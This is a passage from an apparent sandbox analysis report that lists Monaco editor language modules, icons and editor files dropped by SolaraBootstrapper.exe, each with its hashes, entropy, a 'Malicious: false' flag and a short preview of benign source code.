strict";Object.defineProperty(e,"__esModule",{value:!0}),e.conf={brackets:[["{","}"],["[","]"],["(",")"]],autoClosingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"'},{open:"'",close:"'"}],surroundingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"'},{open:"'",close:"'"}]},e.language={defaultToken:"",tokenPostfix:".redis",ignoreCase:!0,brackets:[{open:"[",close:"]",token:"delimiter.square"},{open:"(",close:")",token:"delimiter.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\basic-languages\redshift\redshift.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (11765)
Category:	dropped
Size (bytes):	12172
Entropy (8bit):	5.039131276343241
Encrypted:	false
SSDEEP:	192:hZnzLxzLJlx3dDC5QPsHoa2WMrtSCV0bPjNQoMyIG6r9TjasW:hBLxztR+MJ/WfCuFQobIGe9/asW
MD5:	C08941967AC5BA8CC4A2971B2C888456
SHA1:	22D1A7F1E89D9850507D5EBA78BF734764D7197F
SHA-256:	B461F7951EFFBF085CD7A090DD4E69E54F812A2543F55A4ECACAEE7EF6649BDF
SHA-512:	9311C13BE9E19C0062870BD4C2B92815BF4427056DBBBD6A2EC71ED76C8C66C4138F929776CE788C918C51813A61F0E05F00EAC984B51FBCC16620958F3655CA
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-languages version: 1.3.1(1119ababe841a89731059c9bd9522fc59d70f6cb). * Released under the MIT license. * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/basic-languages/redshift/redshift",["require","exports"],function(e,_){"use strict";Object.defineProperty(_,"__esModule",{value:!0}),_.conf={comments:{lineComment:"--",blockComment:["/","/"]},brackets:[["{","}"],["[","]"],["(",")"]],autoClosingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"'},{open:"'",close:"'"}],surroundingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"'},{open:"'",close:"'"}]},_.language={defaultToken:"",tokenPostfix:".sql",ignoreCase:!0,brackets:[{open:"[",close:"]",token:

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\basic-languages\ruby\ruby.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (8098)
Category:	dropped
Size (bytes):	8505
Entropy (8bit):	5.304325009388277
Encrypted:	false
SSDEEP:	192:hZn4cxI35E7BuN7MVziYlG3z9GEpWyuy7:hScx+E7cMwj9Fsvu
MD5:	9D0EDDEAE6D9BF3D3D9EEBF7858B45BD
SHA1:	6F0FB7FEB21491FA8E46763945C266880D904461
SHA-256:	5F249877EEF9E52F52DBE2BB4B158DA3A6F7FC2D267487298D537292596B6089
SHA-512:	EEEE65842033CC4F122689FFC7C3C660317D5C5D411C452EA73A26F71D041AB05C8BEB6D0FD3B2D8A8FC787AC408007B0F6785B867FBDB1C55AB94EB75C017D3
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-languages version: 1.3.1(1119ababe841a89731059c9bd9522fc59d70f6cb). * Released under the MIT license. * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/basic-languages/ruby/ruby",["require","exports"],function(e,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.conf={comments:{lineComment:"#",blockComment:["=begin","=end"]},brackets:[["(",")"],["{","}"],["[","]"]],autoClosingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"'},{open:"'",close:"'"}],surroundingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"'},{open:"'",close:"'"}]},t.language={tokenPostfix:".ruby",keywords:["__LINE__","__ENCODING__","__FILE__","BEGIN","END","alias"

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\basic-languages\rust\rust.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (3897)
Category:	dropped
Size (bytes):	4304
Entropy (8bit):	5.391932938704175
Encrypted:	false
SSDEEP:	96:hFDMgRs6Q9rbV1+gqVV1+/yldNmlf9LJ5MnWe1l0gHY4Rt04TW:hZnYrTO6llLJ5de3i4Y
MD5:	F48A41336BCC1A195503C7A020EA508C
SHA1:	75F5BC806C449422E7A56DE8FC3C1E3626768A12
SHA-256:	7C4E77F3BC6F3FB580C1C329F515E30830E6F6352D088B7948F73FA1662A3664
SHA-512:	F4E94B5C3DCB1FB90373F92637618E774737AC1646E5B24CB28BDFDD5188AF3F61DDF49224D1459B22DDCF89B6A1FCD86884CBE2DF62F826EC9CB94C5AF1277B
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-languages version: 1.3.1(1119ababe841a89731059c9bd9522fc59d70f6cb). * Released under the MIT license. * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/basic-languages/rust/rust",["require","exports"],function(e,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.conf={comments:{lineComment:"//",blockComment:["/","/"]},brackets:[["{","}"],["[","]"],["(",")"]],autoClosingPairs:[{open:"[",close:"]"},{open:"{",close:"}"},{open:"(",close:")"},{open:"'",close:"'",notIn:["string","comment"]},{open:'"',close:'"',notIn:["string"]}],surroundingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"'},{open:"'",close:"'"}],folding:{markers:{start:new RegExp("^\\s*#pragma\\s+region\\b")

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\basic-languages\sb\sb.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (1800)
Category:	dropped
Size (bytes):	2207
Entropy (8bit):	5.251341327640964
Encrypted:	false
SSDEEP:	48:hFDMgRs/F60K5J1JFq11FqQHTgVgN88KEqWgdctA0VeQ:hFDMgRsUdTq17qG8EQRW6PQ
MD5:	95A88FD3AC1433BC136A792BD892C1D2
SHA1:	7E75796E0896B429E4D4DBDEAF83ADFF3C8AEF29
SHA-256:	51C0BBDE8B266514A37F00707C34BAB27571B7EB38BDDC5A45BB3F987CE5227D
SHA-512:	0CDECC828BCF7E49FDD7BE2F2E27B099D1FB3465D13B18E61B4BAF1BCCB8D78560666AE503EF1ADF6BE62975F96B685BB922C59ECC203E598C502E2E91CDDC94
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-languages version: 1.3.1(1119ababe841a89731059c9bd9522fc59d70f6cb). * Released under the MIT license. * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/basic-languages/sb/sb",["require","exports"],function(e,o){"use strict";Object.defineProperty(o,"__esModule",{value:!0}),o.conf={comments:{lineComment:"'"},brackets:[["(",")"],["[","]"],["If","EndIf"],["While","EndWhile"],["For","EndFor"],["Sub","EndSub"]],autoClosingPairs:[{open:'"',close:'"',notIn:["string","comment"]},{open:"(",close:")",notIn:["string","comment"]},{open:"[",close:"]",notIn:["string","comment"]}]},o.language={defaultToken:"",tokenPostfix:".sb",ignoreCase:!0,brackets:[{token:"delimiter.array",open:"[",close:"]"},{token:"delimiter.parenthesis",open:"(",close

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\basic-languages\scss\scss.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (6384)
Category:	dropped
Size (bytes):	6791
Entropy (8bit):	5.086201877298942
Encrypted:	false
SSDEEP:	96:hFDMgRsJ6rMq+q17qcq6V1+/Zpj1ctjT0PIVhUE5CsqdpvcWLPMlxXALYJvc:hZe6rr9AnhPKIsuvcWLPMfXALCvc
MD5:	3E266F1F8EAAAE110C8AE9E31FE5CB41
SHA1:	D939D3B5CB8A5DF6FCA3CE2531FD633E59FE34B2
SHA-256:	438F781E751495302A0E2359EA93B54D7F9CBA383FB44185D73BC6E2A5A38E81
SHA-512:	4BBEF3FEBBDCEBCAF8242107BF5E260EBD92BD99D00777316A2DFE29865A2D20AB11808B23D9616D77550E82D69AF71FADDA95EB41E83387516C21480DEFFBE0
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-languages version: 1.3.1(1119ababe841a89731059c9bd9522fc59d70f6cb). * Released under the MIT license. * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/basic-languages/scss/scss",["require","exports"],function(e,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.conf={wordPattern:/(#?-?\d\.\d\w%?)\|([@$#!.:]?[\w-?]+%?)\|[@#!.]/g,comments:{blockComment:["/","/"],lineComment:"//"},brackets:[["{","}"],["[","]"],["(",")"]],autoClosingPairs:[{open:"{",close:"}",notIn:["string","comment"]},{open:"[",close:"]",notIn:["string","comment"]},{open:"(",close:")",notIn:["string","comment"]},{open:'"',close:'"',notIn:["string","comment"]},{open:"'",close:"'",notIn:["string","comment"]}],surroundingPairs:[{open:"{",close:

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\basic-languages\solidity\solidity.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (18566)
Category:	dropped
Size (bytes):	18973
Entropy (8bit):	4.504039135914546
Encrypted:	false
SSDEEP:	384:hSrtoAZRoMteOKV6TXRcJcWlXvEnMemjVjlVuRHBziYQ:crtoZOA6TKJccXcnMemZ+HFA
MD5:	0C117B4DC07C6A0A0D063D1504E04EA6
SHA1:	3F72A2469DF69925E2C9FA31066A56A4327ACDE4
SHA-256:	E71C1DF85CED6A51254A45152CEB9BAB1EC3A003E8E4911AB35C737B52D42AE4
SHA-512:	8A209F5CB7503E716C470728D744E0674717E63DF2DB3590086F09866047C6F668D8D393A510320C2A1658D9026B5A968164BA3FCEAD36B270C364B0E663F5F2
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-languages version: 1.3.1(1119ababe841a89731059c9bd9522fc59d70f6cb). * Released under the MIT license. * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/basic-languages/solidity/solidity",["require","exports"],function(x,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.conf={comments:{lineComment:"//",blockComment:["/","/"]},brackets:[["{","}"],["[","]"],["(",")"],["<",">"]],autoClosingPairs:[{open:'"',close:'"',notIn:["string","comment"]},{open:"{",close:"}",notIn:["string","comment"]},{open:"[",close:"]",notIn:["string","comment"]},{open:"(",close:")",notIn:["string","comment"]}]},e.language={defaultToken:"",tokenPostfix:".sol",brackets:[{token:"delimiter.curly",open:"{",close:"}"},{token:"delimiter.pare

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\basic-languages\sql\sql.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (18212)
Category:	dropped
Size (bytes):	18619
Entropy (8bit):	4.946579324824011
Encrypted:	false
SSDEEP:	384:hwLxocwBLdRtOmmeuA7It3OMvZi3vzVga+hFyPWg8N7+HLJfh+kQ9/3W:KLxocwlU26lvZi7Vga+7yPkshAfW
MD5:	4788F14A5C95A359AF5EE52EFBCF862D
SHA1:	DD4BD763CADF57A529A0732224EC6E27CB08CBB9
SHA-256:	D1AB939C0BA1033252787F1F13B503D870EE5784A23A3B0B89857860075C035B
SHA-512:	F24AD9E95C092BA62C9646876858368B095234E212797EA76DF8C708EFCD4622F872AB30A21D3EC1B341E9D69924D22FAEEC8D949784A4CCBD02E3C877C68617
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-languages version: 1.3.1(1119ababe841a89731059c9bd9522fc59d70f6cb). * Released under the MIT license. * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/basic-languages/sql/sql",["require","exports"],function(E,T){"use strict";Object.defineProperty(T,"__esModule",{value:!0}),T.conf={comments:{lineComment:"--",blockComment:["/","/"]},brackets:[["{","}"],["[","]"],["(",")"]],autoClosingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"'},{open:"'",close:"'"}],surroundingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"'},{open:"'",close:"'"}]},T.language={defaultToken:"",tokenPostfix:".sql",ignoreCase:!0,brackets:[{open:"[",close:"]",token:"delimiter

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\basic-languages\st\st.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text, with very long lines (6870)
Category:	dropped
Size (bytes):	7278
Entropy (8bit):	4.972749078299566
Encrypted:	false
SSDEEP:	96:hFDMgRslrafEUAV1+wCXaVcJlkGLaTNzFgigKNVKVpzVxmKRBzb/eV1+/mQVcJl3:hZIrEol2JJi1VJJsjWaGr5aVl2Xaw
MD5:	7F3EF65A0F0F0AEEDCD64D57F191D7A6
SHA1:	B5A95D5FEF3FC22C865CC176C0664928A2610582
SHA-256:	29E530C3A0DAE1DC1B630A0867132A2513B1996B7EB0D1F4090336BD6004FF09
SHA-512:	EA0508987801B487DC5370BF7D1A37C486994853EB0E1991F0EC4C9B5FFE378C7C8F701DF7D4DEFEDC34C5E23512305C6297D70A51D478E292E40C25C4A40C6A
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-languages version: 1.3.1(1119ababe841a89731059c9bd9522fc59d70f6cb). * Released under the MIT license. * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/basic-languages/st/st",["require","exports"],function(e,n){"use strict";Object.defineProperty(n,"__esModule",{value:!0}),n.conf={comments:{lineComment:"//",blockComment:["(",")"]},brackets:[["{","}"],["[","]"],["(",")"],["var","end_var"],["var_input","end_var"],["var_output","end_var"],["var_in_out","end_var"],["var_temp","end_var"],["var_global","end_var"],["var_access","end_var"],["var_external","end_var"],["type","end_type"],["struct","end_struct"],["program","end_program"],["function","end_function"],["function_block","end_function_block"],["action","end_action"],["step

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\basic-languages\swift\swift.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (3842)
Category:	dropped
Size (bytes):	4249
Entropy (8bit):	5.357421086505354
Encrypted:	false
SSDEEP:	96:hFDMgRswdrbV1+/mQcV1+/mQSMFyb0EUiyH/l3w6Bh1D0rth:hZldrT1x1480Dv2h
MD5:	1BDD6F185CD2B5F4E11C6FAC19E86175
SHA1:	E812770EF107ECDF3CCF779EEBA58E0B8C0487A8
SHA-256:	5E9896A1E113B93502A1249B0CC78A844B000B803410A9A956854FAAC8528366
SHA-512:	E8D3811F1B7D776EA49E1DE61B5C1234D55EB0257664D8234C94EB22CD9289F7D304676D9565A69F44DC065BA569CA8B7E6A45C0FF9C62A673104C95BA4A7982
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-languages version: 1.3.1(1119ababe841a89731059c9bd9522fc59d70f6cb). * Released under the MIT license. * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/basic-languages/swift/swift",["require","exports"],function(e,o){"use strict";Object.defineProperty(o,"__esModule",{value:!0}),o.conf={comments:{lineComment:"//",blockComment:["/","/"]},brackets:[["{","}"],["[","]"],["(",")"]],autoClosingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"'},{open:"'",close:"'"},{open:"`",close:"`"}],surroundingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"'},{open:"'",close:"'"},{open:"`",close:"`"}]},o.language={defaultToken:"",tokenPostfix:".swift",identifier:/

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\basic-languages\vb\vb.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (5669)
Category:	dropped
Size (bytes):	6076
Entropy (8bit):	5.1146635563321174
Encrypted:	false
SSDEEP:	96:hFDMgRsrSVNv2q+q17qcqR5FX5BmzpMCgkxIcKYWKkVe9Nu6Ke7UivaQ:hZem1q5FJOZxWYlkVe+ewW
MD5:	FD92FAAC5B4B3DFC2AA8CD7DEB8EFECF
SHA1:	39BD460AFA0C614D4106602A2AFB5C2C9D7CB1B0
SHA-256:	5CA2EF383CCBFD449DCEB76DB571211374314054E22977BBEB785E2AAF8ECF24
SHA-512:	FDEC42D463673CBACE6B50081190F0F9D2ADF57130DA04ABAA4513C4F569AE2B676883E5D1140B38D17D0AADD602A583C0FD27D7ED071112C5093C3051266338
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-languages version: 1.3.1(1119ababe841a89731059c9bd9522fc59d70f6cb). * Released under the MIT license. * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/basic-languages/vb/vb",["require","exports"],function(e,n){"use strict";Object.defineProperty(n,"__esModule",{value:!0}),n.conf={comments:{lineComment:"'",blockComment:["/","/"]},brackets:[["{","}"],["[","]"],["(",")"],["<",">"],["addhandler","end addhandler"],["class","end class"],["enum","end enum"],["event","end event"],["function","end function"],["get","end get"],["if","end if"],["interface","end interface"],["module","end module"],["namespace","end namespace"],["operator","end operator"],["property","end property"],["raiseevent","end raiseevent"],["removehandler","end

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\basic-languages\xml\xml.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	exported SGML document, ASCII text, with very long lines (1712)
Category:	dropped
Size (bytes):	2119
Entropy (8bit):	5.285431280573791
Encrypted:	false
SSDEEP:	24:hyiDMNbWRsIO3Cm4KANRmhImQTImQA6DpW4A8D2tMHZ7dDEWNpRih3aA5GNUrG9N:hFDMgRs/h4KlImQTImQB3HZ7KVMNUSN
MD5:	837EFA6CBAE0C226509B3F496C20660D
SHA1:	1A6263D04CD8EEA94E31583611A9C7246351482A
SHA-256:	01896B21BA9FE9106316197DA8118596101B966D4597AA794720F2561CBE15D8
SHA-512:	A2787C69CD3989D239CCE372FE141DDE121CAF8A637843413D590F4FF77941F10D8A8F8590BBFDB2255E97528289A7673E5377E469BEDD8F63135EF70C12A46A
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-languages version: 1.3.1(1119ababe841a89731059c9bd9522fc59d70f6cb). * Released under the MIT license. * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/basic-languages/xml/xml",["require","exports"],function(e,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.conf={comments:{blockComment:["\x3c!--","--\x3e"]},brackets:[["<",">"]],autoClosingPairs:[{open:"<",close:">"},{open:"'",close:"'"},{open:'"',close:'"'}],surroundingPairs:[{open:"<",close:">"},{open:"'",close:"'"},{open:'"',close:'"'}]},t.language={defaultToken:"",tokenPostfix:".xml",ignoreCase:!0,qualifiedName:/(?:[\w\.\-]+:)?[\w\.\-]+/,tokenizer:{root:[[/[^<&]+/,""],{include:"@whitespace"},[/(<)(@qualifiedName)/,[{token:"delimiter"},{token:"tag",next:

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\basic-languages\yaml\yaml.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (3484)
Category:	dropped
Size (bytes):	3891
Entropy (8bit):	5.3855602251882
Encrypted:	false
SSDEEP:	96:hFDMgRs1mV1+/0V1+/BrBU+A/B139YeCZVOQaB9+aB9R3d8rU534:hZEixerOP/Bo5VOJJFqA4
MD5:	A812C4E3188D84D073A481B2CADC21BD
SHA1:	A3988727891FDBCD6A0A9B88FD8AEEE6767ADA99
SHA-256:	3730024B6D24B2EA2E9794123B038EEE4383E9AE94FABD849ACEB9596AD9D2D0
SHA-512:	C6B9FA1CD85870DD9CE718D7D598A0456EB3E6D8CE762FC0A39FE59472D0A6CD000C2FECF0C39BEB7DFE00ECF12CF4586850FB9A93005ECEA8B23FE1538B7087
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-languages version: 1.3.1(1119ababe841a89731059c9bd9522fc59d70f6cb). * Released under the MIT license. * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/basic-languages/yaml/yaml",["require","exports"],function(e,n){"use strict";Object.defineProperty(n,"__esModule",{value:!0}),n.conf={comments:{lineComment:"#"},brackets:[["{","}"],["[","]"],["(",")"]],autoClosingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"'},{open:"'",close:"'"}],surroundingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"'},{open:"'",close:"'"}],folding:{offSide:!0}},n.language={tokenPostfix:".yaml",brackets:[{token:"delimiter.bracket",open:"{",close:"}"},{token:"delimiter.squ

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\editor\contrib\suggest\media\string_16x.svg

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	4740
Entropy (8bit):	4.133929597400424
Encrypted:	false
SSDEEP:	48:CnN6wkEX+c9Vlt4AFCj93Z0hDC7hSBnukNyhDFtrJGuG2XvS+yZCahDC7hSBnhKm:zJWFCMcfkCFGE6+yZCacJImkArbbqrAm
MD5:	48E754CB54C78A85DCC9AAEA9A27847E
SHA1:	8D79B23037DEB6586E4954305DCB4CAEE14AFBD2
SHA-256:	D1AA361F33564E8F9D527A01A66C7CE35D73F23417432E80DDF51F562770EE79
SHA-512:	F6D902B5C73B59636CB71D4019FF45CB77532BF22AAB28A8314697E24A62163A94140C97495AD5CE421C09C26E4BCBFE5A815EAE27E945C51CCD80C2BA9C3A77
Malicious:	false
Preview:	<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 16 16"><style>.icon-canvas-transparent{opacity:0;fill:#f6f6f6}.icon-vs-out{fill:#f6f6f6}.icon-vs-bg{fill:#424242}.icon-vs-fg{fill:#f0eff1}</style><path class="icon-canvas-transparent" d="M16 16H0V0h16v16z" id="canvas"/><path class="icon-vs-out" d="M16 15H0V1h16v14z" id="outline"/><path class="icon-vs-fg" d="M9.229 7.354c.035.146.052.31.052.494 0 .234-.02.441-.06.621-.039.18-.095.328-.168.445a.687.687 0 0 1-.914.281.76.76 0 0 1-.237-.207.988.988 0 0 1-.154-.306 1.262 1.262 0 0 1-.057-.381v-.506c0-.17.02-.326.061-.465s.096-.258.168-.359a.756.756 0 0 1 .257-.232c.1-.055.21-.082.331-.082a.646.646 0 0 1 .571.32c.067.105.116.23.15.377zm-5.126.869a.557.557 0 0 0-.196.132c-.047.053-.08.112-.097.18s-.028.147-.028.233a.513.513 0 0 0 .157.39.528.528 0 0 0 .186.113.682.682 0 0 0 .242.041.76.76 0 0 0 .593-.271.897.897 0 0 0 .165-.295c.038-.113.059-.234.059-.365v-.346l-.761.11a1.29 1.29 0 0 0-.32.078zM14 3v10H2V3h12zM5.962 7.469c0-.238-.027-.451-.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\editor\contrib\suggest\media\string_inverse_16x.svg

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	4740
Entropy (8bit):	4.131449641426331
Encrypted:	false
SSDEEP:	48:Cn7wkEX+c9Vlt4AFCj93Z0hDC7hSBnukNyhDFtrJGuG2XvS+yZCahDC7hSBnhKHG:EJWFCMcfkCFGE6+yZCacJImkArbbqrAm
MD5:	6E5C0CE7EC09969F07EA6EE078EF8AD6
SHA1:	DEADC5357A26852D872BFFA77D1AA19108603B25
SHA-256:	7D23C0F30CB9C05C81BB15785A3299772AE3CFBE51F3E04895AA1F23FFBEBA5B
SHA-512:	2B02CB82F9E4720EE43BFC8B7FE5D6DE38228329AAFBEDB589D5A219057C15F073023DECA3C1CA5B65CEA4A4F0D863EBD88C889B1D67119639FAE2CE180863BF
Malicious:	false
Preview:	<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 16 16"><style>.icon-canvas-transparent{opacity:0;fill:#2d2d30}.icon-vs-out{fill:#2d2d30}.icon-vs-bg{fill:#c5c5c5}.icon-vs-fg{fill:#2b282e}</style><path class="icon-canvas-transparent" d="M16 16H0V0h16v16z" id="canvas"/><path class="icon-vs-out" d="M16 15H0V1h16v14z" id="outline"/><path class="icon-vs-fg" d="M9.229 7.354c.035.146.052.31.052.494 0 .234-.02.441-.06.621-.039.18-.095.328-.168.445a.687.687 0 0 1-.914.281.76.76 0 0 1-.237-.207.988.988 0 0 1-.154-.306 1.262 1.262 0 0 1-.057-.381v-.506c0-.17.02-.326.061-.465s.096-.258.168-.359a.756.756 0 0 1 .257-.232c.1-.055.21-.082.331-.082a.646.646 0 0 1 .571.32c.067.105.116.23.15.377zm-5.126.869a.557.557 0 0 0-.196.132c-.047.053-.08.112-.097.18s-.028.147-.028.233a.513.513 0 0 0 .157.39.528.528 0 0 0 .186.113.682.682 0 0 0 .242.041.76.76 0 0 0 .593-.271.897.897 0 0 0 .165-.295c.038-.113.059-.234.059-.365v-.346l-.761.11a1.29 1.29 0 0 0-.32.078zM14 3v10H2V3h12zM5.962 7.469c0-.238-.027-.451-.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\editor\editor.main.css

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (65254)
Category:	dropped
Size (bytes):	175911
Entropy (8bit):	5.835636874673417
Encrypted:	false
SSDEEP:	1536:ZxP4PUPVP0PAPeMi76Q4TVq5bbhLynlDTkDatDF8Jmmvgs0aMJkn:p2bIRkDSYmmvgs0aMJK
MD5:	233217455A3EF3604BF4942024B94F98
SHA1:	95CD3CE46F4CA65708EC25D59DDDBFA3FC44E143
SHA-256:	2EC118616A1370E7C37342DA85834CA1819400C28F83ABFCBBB1EF50B51F7701
SHA-512:	6F4CB7B88673666B7DC1BEAB3EC2AEC4D7D353E6DA9F6F14ED2FEE8848C7DA34EE5060D9EB34ECBB5DB71B5B98E3F8582C09EF3EFE4F2D9D3135DEA87D497455
Malicious:	false
Preview:	/!-----------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.13.2(53a4043676e6259fb734c90fad14bf16f7425640). * Released under the MIT license. * https://github.com/Microsoft/vscode/blob/master/LICENSE.txt. -----------------------------------------------------------/.monaco-builder-hidden{display:none!important}.monaco-action-bar{text-align:right;overflow:hidden;white-space:nowrap}.monaco-action-bar .actions-container{display:flex;margin:0 auto;padding:0;width:100%;justify-content:flex-end}.monaco-action-bar.vertical .actions-container{display:inline-block}.monaco-action-bar.reverse .actions-container{flex-direction:row-reverse}.monaco-action-bar .action-item{cursor:pointer;display:inline-block;transition:transform 50ms ease;position:relative}.monaco-action-bar .action-item.disabled{cursor:default}.monaco-action-bar.animated .action-item.active{-webkit-transform:scale(1.272019649);transform:scale(1.272019649)

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\editor\editor.main.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text, with very long lines (25715)
Category:	dropped
Size (bytes):	2060030
Entropy (8bit):	5.241126637820058
Encrypted:	false
SSDEEP:	24576:SmmBNDw4gCXJkB4nIg2IxhbaeZYIMsNjvit4f:wDw4gCXJk62+aeKIMsNjvit4f
MD5:	9399A8EAA741D04B0AE6566A5EBB8106
SHA1:	5646A9D35B773D784AD914417ED861C5CBA45E31
SHA-256:	93D28520C07FBCA09E20886087F28797BB7BD0E6CF77400153AAB5AE67E3CE18
SHA-512:	D37EF5A848E371F7DB9616A4BF8B5347449ABB3E244A5527396756791583CAD455802450CEEB88DCE39642C47ACEAF2BE6B95BEDE23B9ED68B5D4B7B9022B9C8
Malicious:	false
Preview:	/!-----------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.13.2(53a4043676e6259fb734c90fad14bf16f7425640). * Released under the MIT license. * https://github.com/Microsoft/vscode/blob/master/LICENSE.txt. -----------------------------------------------------------/.(function(){.var 